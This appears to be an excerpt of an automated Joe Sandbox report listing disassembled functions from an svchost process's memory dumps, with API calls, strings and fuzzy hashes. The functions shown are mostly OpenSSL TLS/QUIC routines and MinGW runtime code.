Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_printf
String ID: <unexpected trailing frame data skipped>$ Data: %016llx$Path response
API String ID: 4098839300-2557722110
Opcode ID: 2cd10418bdca348c1bddf889d55552fcf8b130cd6c50977f5115fb6d9bc5a203
Instruction ID: eb4a5ef8d290974ee8ac19aa39029607f40559db1e9eba989da4c2e767c377bc
Opcode Fuzzy Hash: 2cd10418bdca348c1bddf889d55552fcf8b130cd6c50977f5115fb6d9bc5a203
Instruction Fuzzy Hash: 9E016DE2E0A64290FE26EB75E8A13FD1350AF40794F50903ADE2E066E5DE3CE4868201

Function 00007FFBAB46AC20 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

RAND_bytes_ex.LIBCRYPTO-3-X64(00000001,00007FFBAB45A52B,?,?,?,?,?,00007FFBAB45A862,00007FFBAB44C589), ref: 00007FFBAB46AC4A
ERR_new.LIBCRYPTO-3-X64(00000001,00007FFBAB45A52B,?,?,?,?,?,00007FFBAB45A862,00007FFBAB44C589), ref: 00007FFBAB46AC54
ERR_set_debug.LIBCRYPTO-3-X64(00000001,00007FFBAB45A52B,?,?,?,?,?,00007FFBAB45A862,00007FFBAB44C589), ref: 00007FFBAB46AC6C
ERR_set_error.LIBCRYPTO-3-X64(00000001,00007FFBAB45A52B,?,?,?,?,?,00007FFBAB45A862,00007FFBAB44C589), ref: 00007FFBAB46AC7D

Strings

ossl_quic_gen_rand_conn_id, xrefs: 00007FFBAB46AC59
ssl\quic\quic_types.c, xrefs: 00007FFBAB46AC65

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: D_bytes_exR_newR_set_debugR_set_error
String ID: ossl_quic_gen_rand_conn_id$ssl\quic\quic_types.c
API String ID: 10171931-2593383686
Opcode ID: bc3875f68747eac6f4a3cb9487d58d5cc32c958227c837b3233c4509e4c49879
Instruction ID: 6fb2bfa9f82eed938ff8d9548f1906eea45558ac163ea12655a45994e62b47f1
Opcode Fuzzy Hash: bc3875f68747eac6f4a3cb9487d58d5cc32c958227c837b3233c4509e4c49879
Instruction Fuzzy Hash: 0DF0B4F1E5A28682F763A774D8823FD2751AB10780F94C031DE2D422F6EE2CD9988712

Function 64942D50 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: fa800a1db800350b0fed09132d4c30b4d464a2c5f92782d6f3b1fde1cd7d91d6
Instruction ID: 9532cd4f251b3658310ae2195131a0e08aaebdb09fc5c0f89b68fa3098675641
Opcode Fuzzy Hash: fa800a1db800350b0fed09132d4c30b4d464a2c5f92782d6f3b1fde1cd7d91d6
Instruction Fuzzy Hash: 0331AE227855018AFB168F75E90479A63A6FB85BE9F188535CE18CB384EF38C891C350

Function 649449D0 Relevance: 9.1, APIs: 6, Instructions: 104sleepthreadCOMMON

Download Yara Rule

APIs

TlsSetValue.KERNEL32 ref: 64944A13
GetCurrentThreadId.KERNEL32 ref: 64944A19
CloseHandle.KERNEL32 ref: 64944A76
Sleep.KERNEL32 ref: 64944ACB
_endthreadex.MSVCRT ref: 64944ADB
TlsSetValue.KERNEL32 ref: 64944B7D

Part of subcall function 649444D0: __iob_func.MSVCRT ref: 64944501

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: Value$CloseCurrentHandleSleepThread__iob_func_endthreadex
String ID:
API String ID: 2572950730-0
Opcode ID: 41b3f4f05ea4d5a442d3e756eee48522d3bf42455cc12e4d92245cde5d4bd361
Instruction ID: b6c95add572710b94ebec18b46ddd7a509098b6565972d843aeaf9d7d1c37827
Opcode Fuzzy Hash: 41b3f4f05ea4d5a442d3e756eee48522d3bf42455cc12e4d92245cde5d4bd361
Instruction Fuzzy Hash: 8C413C35280B0085EB24DF32D8903AE27A5FB99BECF095226DE1E577A4DF38C495CB50

Function 64942C10 Relevance: 9.1, APIs: 6, Instructions: 97synchronizationthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 64942C62
WaitForSingleObject.KERNEL32(?,?,?,?,64941698), ref: 64942CAD

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CurrentObjectSingleThreadWait
String ID:
API String ID: 1728940165-0
Opcode ID: ad35e8303b8d8428d97bb6b51cf9c3b71cc4d122781135cfe85f96bea711820f
Instruction ID: 34c95b49e9a65028a90b0e91656b60c0aa03b26a43158414cd96aabb3d2393cf
Opcode Fuzzy Hash: ad35e8303b8d8428d97bb6b51cf9c3b71cc4d122781135cfe85f96bea711820f
Instruction Fuzzy Hash: 7931A5367812058BEB068F35E94078A22A6F745BDEF288574CE0CCB344FE39C891C760

Function 00007FFBAB470320 Relevance: 9.1, APIs: 6, Instructions: 96COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB471937), ref: 00007FFBAB47036C
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB471937), ref: 00007FFBAB47037B

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID:
API String ID: 193678381-0
Opcode ID: 61fa397787caf25eaa4b742d0cb67a0d4579aba6294d03ea4509ec8742b787dd
Instruction ID: c8ef18f58532dd6d909f3f4e8938eeac16a3d2b345766bb3a65d13fab558625d
Opcode Fuzzy Hash: 61fa397787caf25eaa4b742d0cb67a0d4579aba6294d03ea4509ec8742b787dd
Instruction Fuzzy Hash: 54311C72B1A19143E7A1E73AE4417BE2750DB847A4F185631EE3947BE6CF2CD4C28B00

Function 00007FFBAB4447A0 Relevance: 9.1, APIs: 6, Instructions: 70COMMON

Download Yara Rule

APIs

SRP_get_default_gN.LIBCRYPTO-3-X64 ref: 00007FFBAB4447F2
BN_dup.LIBCRYPTO-3-X64 ref: 00007FFBAB44480C
BN_dup.LIBCRYPTO-3-X64 ref: 00007FFBAB44481C
BN_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB44482F
BN_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB444846
SRP_create_verifier_BN_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB44489A

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: N_clear_freeN_dup$N_exP_create_verifier_P_get_default_g
String ID:
API String ID: 1503022457-0
Opcode ID: 41c8a718d5ef2048157d7b1b3aad18ac4771f11d7c76a97dd794f12c5b188bbb
Instruction ID: aba11bc865423aafad9e4fa39b91144361d10c072aadf0ea0d3657a871124f7c
Opcode Fuzzy Hash: 41c8a718d5ef2048157d7b1b3aad18ac4771f11d7c76a97dd794f12c5b188bbb
Instruction Fuzzy Hash: E5319176606FC18AEB65DF26E8903A97390FB44B98F148135EE5D4BBA5DF38D111C300

Function 00007FFBAB488C50 Relevance: 9.1, APIs: 6, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB42EF20: ERR_set_mark.LIBCRYPTO-3-X64(?,00007FFBAB4169A9), ref: 00007FFBAB42EF4C
Part of subcall function 00007FFBAB42EF20: OBJ_nid2sn.LIBCRYPTO-3-X64(?,00007FFBAB4169A9), ref: 00007FFBAB42EF53
Part of subcall function 00007FFBAB42EF20: EVP_MD_fetch.LIBCRYPTO-3-X64(?,00007FFBAB4169A9), ref: 00007FFBAB42EF61
Part of subcall function 00007FFBAB42EF20: ERR_pop_to_mark.LIBCRYPTO-3-X64(?,00007FFBAB4169A9), ref: 00007FFBAB42EF69

EVP_MD_CTX_new.LIBCRYPTO-3-X64 ref: 00007FFBAB488CA3
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB488CCF
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB488CE8
EVP_DigestFinal_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB488CFC
EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB488D08

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: Digest$Update$D_fetchFinal_exJ_nid2snR_pop_to_markR_set_markX_freeX_new
String ID:
API String ID: 2716796635-0
Opcode ID: 040979c296403f6e5b7288cf58e327e0d8e0b2a3e2ee1bf480cba364f95aee1c
Instruction ID: 9b80b2f8b809b6efe8f5c6b939eb55d46150f136113f007a9b139e973b7b76db
Opcode Fuzzy Hash: 040979c296403f6e5b7288cf58e327e0d8e0b2a3e2ee1bf480cba364f95aee1c
Instruction Fuzzy Hash: EB21C991B4E74240E666E776F5412BDA7A19F89BC0F189031FF6E477ABDE2CE4414304

Function 64945340 Relevance: 9.1, APIs: 6, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 64944560: TlsGetValue.KERNEL32 ref: 6494457C

TlsGetValue.KERNEL32 ref: 6494537B
CloseHandle.KERNEL32 ref: 649453A6
_endthreadex.MSVCRT ref: 649453BC
CloseHandle.KERNEL32 ref: 649453DD
TlsSetValue.KERNEL32 ref: 649453FD
CloseHandle.KERNEL32 ref: 64945414

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CloseHandleValue$_endthreadex
String ID:
API String ID: 3955988603-0
Opcode ID: b7945b1e01c22a34e39ac6e8360c113142cd86d22e17861272ae90291c3e3858
Instruction ID: 91f102dbb4e4c7d839af2ef950484d69c9086b08797906d5a721fd90f77057ec
Opcode Fuzzy Hash: b7945b1e01c22a34e39ac6e8360c113142cd86d22e17861272ae90291c3e3858
Instruction Fuzzy Hash: C0217932285B40C2EB1ADF61E45436D3BB6EB85F68F594029CF0A0B394DFB9C849C750

Function 64947A00 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 295memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,?,?,?,?,64949064,?,?,?,?,649412F5), ref: 64947BB0
VirtualProtect.KERNEL32(?,?,?,?,?,?,64949064,?,?,?,?,649412F5), ref: 64947BD2

Strings

Unknown pseudo relocation bit size %d., xrefs: 64947C8C
VirtualQuery failed for %d bytes at address %p, xrefs: 649479CC, 64947CD6
Unknown pseudo relocation protocol version %d., xrefs: 64947CED

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: Virtual$ProtectQuery
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$ VirtualQuery failed for %d bytes at address %p
API String ID: 1027372294-974437099
Opcode ID: e0f154f0bd97eae7fb13bd6116e2de9bfce756cd8e3c01188d1299480cc220fd
Instruction ID: dbc6561fcfc5939c46aa7cdc6d716169bef66825e7e028ef0cbcfa92e83a18d9
Opcode Fuzzy Hash: e0f154f0bd97eae7fb13bd6116e2de9bfce756cd8e3c01188d1299480cc220fd
Instruction Fuzzy Hash: 3FA165797916084AFB00EB31E89031A7363F745BE8F048A61CE1C4B7A8DB3DC586C350

Function 00007FFBAB42C0DF Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42C108
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42C280
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB42C291

Strings

SSL_write_early_data, xrefs: 00007FFBAB42C272
ssl\ssl_lib.c, xrefs: 00007FFBAB42C279

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: SSL_write_early_data$ssl\ssl_lib.c
API String ID: 1552677711-3931977519
Opcode ID: 348dcd838913dc03cc3b36777d7fea066f80cc32c0fb1622a69fd2f15e5751b3
Instruction ID: e436801f5d22b3c25a8f5d0e0756515d0c30409ef7b3fd0c42000575e5bf9541
Opcode Fuzzy Hash: 348dcd838913dc03cc3b36777d7fea066f80cc32c0fb1622a69fd2f15e5751b3
Instruction Fuzzy Hash: 64417EB2A0E64286FAA69F75D5923BD7390FF41740F148436CE2D436A2DF3CE4959B01

Function 00007FFBAB43B010 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB43B10A
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB43B122
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB43B131

Strings

ssl\t1_lib.c, xrefs: 00007FFBAB43B11B
tls12_copy_sigalgs, xrefs: 00007FFBAB43B10F

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ssl\t1_lib.c$tls12_copy_sigalgs
API String ID: 1552677711-2385470557
Opcode ID: 58abd506804eec2907d3acb6c9fdcd5d9494638027979cbd427d373299436f81
Instruction ID: ba2217127bec41917702441a3ae0bdfeeb1f6491b46d3200d60851d7d14952d9
Opcode Fuzzy Hash: 58abd506804eec2907d3acb6c9fdcd5d9494638027979cbd427d373299436f81
Instruction Fuzzy Hash: 3E31A7A3B0A65282E7669B26D58437E23A1EB44B80F1CC431EE6C476A5DE3ED880C740

Function 00007FFBAB440372 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

BIO_indent.LIBCRYPTO-3-X64 ref: 00007FFBAB4403A2
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB4403D8
BIO_indent.LIBCRYPTO-3-X64 ref: 00007FFBAB44043D
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB44046F

Strings

%s (%d), xrefs: 00007FFBAB4403CE, 00007FFBAB440465

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_indentO_printf
String ID: %s (%d)
API String ID: 1860387303-2206749211
Opcode ID: 08b5bfe54d974706d67bed0f7f65379c65b6c8027aacb01334adf5610ed9290b
Instruction ID: 65c430236495d1db4750eec3cae70f0127a32862a8157e27fea278d6370c427a
Opcode Fuzzy Hash: 08b5bfe54d974706d67bed0f7f65379c65b6c8027aacb01334adf5610ed9290b
Instruction Fuzzy Hash: 5631D3B2B0E69286EF6B8B31D4611BD2F51AB45B90F04C432CEAC077A2DE7CE5618700

Function 00007FFBAB484BB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB484C37
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB484C98

Strings

tls_parse_ctos_client_cert_type, xrefs: 00007FFBAB484C8A
ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB484C91

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ssl\statem\extensions_srvr.c$tls_parse_ctos_client_cert_type
API String ID: 193678381-2187535903
Opcode ID: a0df0ec2b0c4ca5525618f5e6cffa68395d75fab59e484bf3628410bd0089639
Instruction ID: 9d09da9e3d2b47cff970c034219a9dbe7058c756bfefedaf0e2b144acff01f75
Opcode Fuzzy Hash: a0df0ec2b0c4ca5525618f5e6cffa68395d75fab59e484bf3628410bd0089639
Instruction Fuzzy Hash: 5321D3E2B0A68286EB42CBB5D4013F92390EF51788F04C431EE9D476B6EF2CD5958311

Function 00007FFBAB4847E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB484872

Part of subcall function 00007FFBAB411C50: CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB411C95

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48487E
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB484896

Strings

ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB48488F
tls_construct_stoc_supported_versions, xrefs: 00007FFBAB484888

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$O_zallocR_set_debug
String ID: ssl\statem\extensions_srvr.c$tls_construct_stoc_supported_versions
API String ID: 3661993454-4203788918
Opcode ID: 0d8c01ad44f015bf23749a31f02f3c04219228765ccaf1e70f6f178e2eb9a7a7
Instruction ID: 5371ad85e7a0c226d8a6edc6e921168f6b01a1017c475c01e3e96da1e27c8452
Opcode Fuzzy Hash: 0d8c01ad44f015bf23749a31f02f3c04219228765ccaf1e70f6f178e2eb9a7a7
Instruction Fuzzy Hash: AB218EA1F0A18242FA6297B6E9917B91391AF847C0F04C031EE2D876F6DF2DE9858300

Function 00007FFBAB41A970 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41A9E1
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB41A9F9
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB41AA09

Strings

ssl\s3_msg.c, xrefs: 00007FFBAB41A9F2
ssl3_do_change_cipher_spec, xrefs: 00007FFBAB41A9E6

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ssl3_do_change_cipher_spec$ssl\s3_msg.c
API String ID: 1552677711-2944025119
Opcode ID: ad1e7d3c941517d6f17de9c1cf47e1a4117bab22cf195348e66dc2d02bf2a5da
Instruction ID: 07448c9d07944e184a22e189aa9bad68ffb0434a159d89d2f466d8ba9eb0faa9
Opcode Fuzzy Hash: ad1e7d3c941517d6f17de9c1cf47e1a4117bab22cf195348e66dc2d02bf2a5da
Instruction Fuzzy Hash: 632175B2B1A74182E7459B35E4863BD23A0EB54B84F588436DE2D473B5DF38C8D6C300

Function 00007FFBAB48CC10 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB411DB0: memcpy.VCRUNTIME140 ref: 00007FFBAB411E0E

memset.VCRUNTIME140 ref: 00007FFBAB48CC8A
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48CCA4
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48CCBC

Strings

ssl\statem\statem_clnt.c, xrefs: 00007FFBAB48CCB5
tls_construct_next_proto, xrefs: 00007FFBAB48CCA9

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugmemcpymemset
String ID: ssl\statem\statem_clnt.c$tls_construct_next_proto
API String ID: 2334240134-950454232
Opcode ID: 99744c31a9a6a3c705792112e2e6bf0cb08241c1d2a8805dc1ecf0a91c0cdafb
Instruction ID: db333fd6b6c39d6b3021e360be454ce9cbc3ac303517a1a546da5642b61dde95
Opcode Fuzzy Hash: 99744c31a9a6a3c705792112e2e6bf0cb08241c1d2a8805dc1ecf0a91c0cdafb
